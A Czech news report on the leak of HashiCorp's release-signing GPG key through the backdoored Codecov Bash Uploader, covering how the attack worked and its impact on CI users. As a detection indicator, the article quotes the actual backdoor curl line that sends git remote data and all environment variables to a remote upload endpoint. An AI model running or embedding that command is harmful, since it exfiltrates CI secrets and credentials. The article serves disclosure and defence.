Společnost HashiCorp, známá vývojem otevřených nástrojů Vagrant, Packer, Nomad a Terraform, oznámila únik tajného GPG klíče používaného k vytváření digitálních podpisů, které ověřují vydání. Útočníci, kteří získali přístup k GPG klíči, mohli potenciálně provést skryté změny v produktech HashiCorp, ověřené správným digitálním podpisem. Společnost však uvedla, že během provedeného auditu nebyly zjištěny žádné pokusy o takové úpravy.
V současné době byl kompromitovaný GPG klíč odvolán a na jeho místo byl uveden nový klíč. Problém se týkal pouze ověřování pomocí souborů SHA256SUM a SHA256SUM.sig, a nezahrnoval vytváření digitálních podpisů pro Linuxové balíčky DEB a RPM dodávané přes releases.hashicorp.com, stejně jako mechanismy potvrzování vydání pro macOS a Windows (AuthentiCode).
Únik vznikl z důvodu použití skriptu Codecov Bash Uploader (codecov-bash) ve infrastruktuře, který je určen k načítání zpráv o pokrytí z systémů kontinuální integrace. Během útoku na společnost Codecov byl do zmiňovaného skriptu skrytě vložen backdoor, kterým byla organizována odesílání hesel a šifrovacích klíčů na server server útočníků.
Pro hacknutí útočníci využili chybu v procesu vytváření Docker obrazu Codecov, která umožnila extrahovat data pro přístup k GCS (Google Cloud Storage), potřebná k provedení změn ve skriptu Bash Uploader, distribuovaném z webu codecov.io. Změny byly provedeny již 31. ledna, byla dva měsíce přehlížena a umožňovala útočníkům extrahovat informace uložené v prostředích systémů kontinuální integrace klientů. Pomocí přidaného škodlivého kódu mohli útočníci získat informace o testovaném Git repozitáři a všech proměnných prostředí, včetně tokenů, šifrovacích klíčů a hesel, které byly předávány do systémů kontinuální integrace pro organizaci přístupu k aplikacím, úložištím a službám, jako jsou Amazon Web Services a GitHub.
Kromě přímého volání byl skript Codecov Bash Uploader použit jako součást jiných nahrávačů, jako jsou Codecov-action (Github), Codecov-circleci-orb a Codecov-bitrise-step, jejichž uživatelé jsou také vystaveni problému. Všem uživatelům codecov-bash a souvisejících produktů se doporučuje provést audit svých infrastruktur a také změnit hesla a šifrovací klíče. Přítomnost backdooru ve skriptu lze zkontrolovat podle přítomnosti řádku curl -sm 0.5 -d «$(git remote -v)<<<< ENV $(env)» http:///upload/v2 || true
Zdroj: opennet.ru
